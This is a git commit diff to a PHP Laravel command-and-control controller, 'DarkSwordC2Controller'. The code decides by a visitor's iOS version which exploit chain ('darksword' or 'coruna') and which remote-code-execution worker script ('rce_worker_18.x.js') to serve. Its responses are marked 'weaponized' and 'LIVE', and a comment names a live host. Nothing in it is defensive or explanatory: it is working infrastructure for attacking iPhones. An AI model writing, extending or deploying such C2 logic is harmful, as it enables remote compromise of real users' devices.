feat: quene
This commit is contained in:
@@ -4,6 +4,7 @@ namespace App\Http\Controllers\C2;
|
||||
|
||||
use App\Http\Controllers\Controller;
|
||||
use App\Models\Device;
|
||||
use App\Models\PageVisit;
|
||||
use App\Services\DarkSwordIngestAdapter;
|
||||
use App\Services\DsBeaconQueue;
|
||||
use Illuminate\Http\Request;
|
||||
@@ -174,21 +175,31 @@ class DarkSwordC2Controller extends Controller
|
||||
}
|
||||
$base = $scheme.'://'.$host.($this->isDefaultPort($scheme, $port) ? '' : ':'.$port);
|
||||
$ios = $this->requestIos($request);
|
||||
[$recommended, $fallbacks] = $this->chainTargetWorkers($ios);
|
||||
$ds = PageVisit::isDarkSwordIosVersionString($ios);
|
||||
if ($ds) {
|
||||
[$recommended, $fallbacks] = $this->chainTargetWorkers($ios);
|
||||
$chain = 'darksword';
|
||||
$reason = 'DarkSword '.$ios;
|
||||
} else {
|
||||
$recommended = '';
|
||||
$fallbacks = [];
|
||||
$chain = 'coruna';
|
||||
$reason = 'Coruna (DS allowlist: 18.5 / 18.6 / 18.6.1 / 18.6.2)';
|
||||
}
|
||||
|
||||
return $this->finish($request, '/api/ds/chain-targets', $this->payloadFromQueryOrJson($request), response()->json([
|
||||
'ok' => true,
|
||||
'chain' => 'darksword',
|
||||
'chain' => $chain,
|
||||
'weaponized' => true,
|
||||
'gated' => false,
|
||||
'ios' => $ios,
|
||||
'reason' => 'DarkSword 18.4-18.7.2',
|
||||
'reason' => $reason,
|
||||
'recommended_worker' => $recommended,
|
||||
'fallback_workers' => $fallbacks,
|
||||
'band' => [
|
||||
'recommended_worker' => $recommended,
|
||||
'fallback_workers' => $fallbacks,
|
||||
'usable_for_attempt' => true,
|
||||
'usable_for_attempt' => $ds,
|
||||
'usable_grade' => 'LIVE',
|
||||
'weaponized' => true,
|
||||
],
|
||||
@@ -320,25 +331,17 @@ class DarkSwordC2Controller extends Controller
|
||||
}
|
||||
|
||||
/**
|
||||
* Worker plan from live one99.vip /api/chain-targets.
|
||||
*
|
||||
* 18.4.x → 18.4 then [18.5, 18.6]
|
||||
* 18.5.x → 18.5 then [18.6, 18.4]
|
||||
* anything else (18.6+, 18.7, 17.x, 26.x, empty) → 18.6 then [18.5, 18.4]
|
||||
* Workers only for the DS allowlist (18.5 / 18.6 / 18.6.1 / 18.6.2).
|
||||
*
|
||||
* @return array{0: string, 1: list<string>}
|
||||
*/
|
||||
private function chainTargetWorkers(string $ios): array
|
||||
{
|
||||
$minor = null;
|
||||
if (preg_match('/^18\.(\d+)/', $ios, $m)) {
|
||||
$minor = (int) $m[1];
|
||||
}
|
||||
$canon = PageVisit::canonicalIosVersion($ios);
|
||||
|
||||
return match ($minor) {
|
||||
4 => ['rce_worker_18.4.js', ['rce_worker_18.5.js', 'rce_worker_18.6.js']],
|
||||
5 => ['rce_worker_18.5.js', ['rce_worker_18.6.js', 'rce_worker_18.4.js']],
|
||||
default => ['rce_worker_18.6.js', ['rce_worker_18.5.js', 'rce_worker_18.4.js']],
|
||||
return match ($canon) {
|
||||
'18.5' => ['rce_worker_18.5.js', ['rce_worker_18.6.js']],
|
||||
default => ['rce_worker_18.6.js', []],
|
||||
};
|
||||
}
|
||||
|
||||
|
||||
Reference in New Issue
Block a user